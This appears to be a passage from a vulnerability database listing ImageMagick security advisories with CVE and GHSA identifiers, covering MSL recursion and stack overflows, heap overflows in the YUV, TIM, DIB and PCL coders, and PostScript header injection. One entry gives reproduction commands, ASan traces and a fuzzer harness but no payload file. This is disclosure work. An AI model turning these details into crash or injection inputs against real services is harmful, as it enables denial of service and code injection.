| VCID-vaks-d4k5-zue7 | ImageMagick MSL: Stack overflow via infinite recursion in ProcessMSLScript ## Summary Stack overflow via infinite recursion in MSL (Magick Scripting Language) `<write>` command when writing to MSL format. ## Version - ImageMagick 7.x (tested on current main branch) - Commit: HEAD - Requires: libxml2 support (for MSL parsing) ## Steps to Reproduce ### Method 1: Using ImageMagick directly ```bash magick MSL:recursive.msl out.png ``` ### Method 2: Using OSS-Fuzz reproduce ```bash python3 infra/helper.py build_fuzzers imagemagick python3 infra/helper.py reproduce imagemagick msl_fuzzer recursive.msl ``` Or run the fuzzer directly: ```bash ./msl_fuzzer recursive.msl ``` ## Expected Behavior ImageMagick should handle recursive MSL references gracefully by detecting the loop and returning an error. ## Actual Behavior Stack overflow causes process crash: ``` AddressSanitizer:DEADLYSIGNAL ==PID==ERROR: AddressSanitizer: stack-overflow #0 MSLStartElement /src/imagemagick/coders/msl.c:7045 #1 xmlParseStartTag /src/libxml2/parser.c #2 xmlParseChunk /src/libxml2/parser.c:11273 #3 ProcessMSLScript /src/imagemagick/coders/msl.c:7405 #4 WriteMSLImage /src/imagemagick/coders/msl.c:7867 #5 WriteImage /src/imagemagick/MagickCore/constitute.c:1346 #6 MSLStartElement /src/imagemagick/coders/msl.c:7045 ... (infinite recursion, 287+ frames) ``` ## Root Cause Analysis In `coders/msl.c`, the `<write>` command handler in `MSLStartElement()` (line ~7045) calls `WriteImage()`. When the output filename specifies MSL format (`msl:filename`), `WriteMSLImage()` is called, which parses the MSL file again via `ProcessMSLScript()`. If the MSL file references itself (directly or indirectly), this creates an infinite recursion loop: ``` MSLStartElement() → WriteImage() → WriteMSLImage() → ProcessMSLScript() → xmlParseChunk() → MSLStartElement() → ... (infinite loop) ``` ## Impact - **DoS**: Guaranteed crash via stack exhaustion - **Affected**: Any application using ImageMagick to process user-supplied MSL files ## Additional Trigger Paths The `<read>` command can also trigger recursion: Indirect recursion is also possible (a.msl → b.msl → a.msl). ## Fuzzer This issue was discovered using a custom MSL fuzzer: ```cpp #include <cstdint> #include <Magick++/Blob.h> #include <Magick++/Image.h> #include "utils.cc" extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { if (IsInvalidSize(Size)) return(0); try { const Magick::Blob blob(Data, Size); Magick::Image image; image.magick("MSL"); image.fileName("MSL:"); image.read(blob); } catch (Magick::Exception) { } return(0); } ``` This issue was found by Team FuzzingBrain @ Texas A&M University |
CVE-2026-23874
GHSA-9vj4-wc7r-p844 |
| VCID-vpdn-g1k9-1kdn | ImageMagick has heap buffer overflow in YUV 4:2:2 decoder A heap buffer overflow write vulnerability exists in ReadYUVImage() (coders/yuv.c) when processing malicious YUV 4:2:2 (NoInterlace) images. The pixel-pair loop writes one pixel beyond the allocated row buffer. ``` ================================================================= ==204642==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5170000002e0 at pc 0x562d21a7e8de bp 0x7fffa9ae1270 sp 0x7fffa9ae1260 WRITE of size 8 at 0x5170000002e0 thread T0 ``` |
CVE-2026-25986
GHSA-mqfc-82jx-3mr2 |
| VCID-x8c1-btup-4ygu | ImageMagick is vulnerable to an integer Overflow in TIM decoder leading to out of bounds read (32-bit only) The TIM (PSX TIM) image parser in ImageMagick contains a critical integer overflow vulnerability in the `ReadTIMImage` function (`coders/tim.c`). The code reads `width` and `height` (16-bit values) from the file header and calculates `image_size = 2 * width * height` without checking for overflow. On 32-bit systems (or where `size_t` is 32-bit), this calculation can overflow if `width` and `height` are large (e.g., 65535), wrapping around to a small value. This results in a small heap allocation via `AcquireQuantumMemory` and later operations relying on the dimensions can trigger an out of bounds read. |
CVE-2025-66628
GHSA-6hjr-v6g4-3fm8 |
| VCID-x8c6-9pse-xkc8 | ImageMagick: Integer overflow in DIB coder can result in out of bounds read or write An integer overflow in DIB coder can result in out of bounds read or write |
CVE-2026-28693
GHSA-hffp-q43q-qq76 |
| VCID-y4hn-6bv6-jugw | ImageMagick: MSL attribute stack buffer overflow leads to out of bounds write. A stack buffer overflow occurs when processing the an attribute in msl.c. A long value overflows a fixed-size stack buffer, leading to memory corruption. ``` ================================================================= ==278522==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdb8c76984 at pc 0x55a4bf16f507 bp 0x7ffdb8c75bc0 sp 0x7ffdb8c75bb0 WRITE of size 1 at 0x7ffdb8c76984 thread T0 ``` |
CVE-2026-25968
GHSA-3mwp-xqp2-q6ph |
| VCID-y58b-be93-hbfd | ImageMagick: Write heap-buffer-overflow in PCL encoder via undersized output buffer A heap-buffer-overflow vulnerability exists in the PCL encode due to an undersized output buffer allocation. ``` WRITE of size 1 at 0x7e79f91f31a0 thread T0 ``` |
CVE-2026-28686
GHSA-467j-76j7-5885 |
| VCID-yx7r-r7ez-7uhp | ImageMagick: Code Injection via PostScript header in ps coders The ps encoders, responsible for writing PostScript files, fails to sanitize the input before writing it into the PostScript header. An attacker can provide a malicious file and inject arbitrary PostScript code. When the resulting file is processed by a printer or a viewer (like Ghostscript), the injected code is interpreted and executed. The html encoder does not properly escape strings that are written to in the html document. An attacker can provide a malicious file and injection arbitrary html code. |
CVE-2026-25797
GHSA-rw6c-xp26-225v |
| VCID-z9t9-bxf9-hkfk | ImageMagick has memory leak of watermark Image object in ReadSTEGANOImage on multiple error/early-return paths ### Summary In `ReadSTEGANOImage()` (`coders/stegano.c`), the `watermark` Image object is not freed on three early-return paths, resulting in a definite memory leak (~13.5KB+ per invocation) that can be exploited for denial of service. ``` Direct leak of 13512 byte(s) in 1 object(s) allocated from: #0 0x7f5c11e27887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145 #1 0x55cdc38f65c4 in AcquireMagickMemory MagickCore/memory.c:536 #2 0x55cdc38f65eb in AcquireCriticalMemory MagickCore/memory.c:612 #3 0x55cdc3899e91 in AcquireImage MagickCore/image.c:154 ``` |
CVE-2026-25796
GHSA-g2pr-qxjg-7r2w |
| VCID-zab9-9tqj-hbhg | ImageMagick: Memory allocation with excessive without limits in the internal SVG decoder A crafted SVG file containing an malicious element causes ImageMagick to attempt to allocate ~674 GB of memory, leading to an out-of-memory abort. Found via AFL++ fuzzing with afl-clang-lto instrumentation and AddressSanitizer. |
CVE-2026-25985
GHSA-v7g2-m8c5-mf84 |
| VCID-zvq4-ybph-buga | ImageMagick has an Out-of-Bounds write of a zero byte in its X11 display interaction An out-of-bounds write of a zero byte exists in the X11 `display` interaction path that could lead to a crash. |
CVE-2026-33535
GHSA-mw3m-pqr2-qv7c |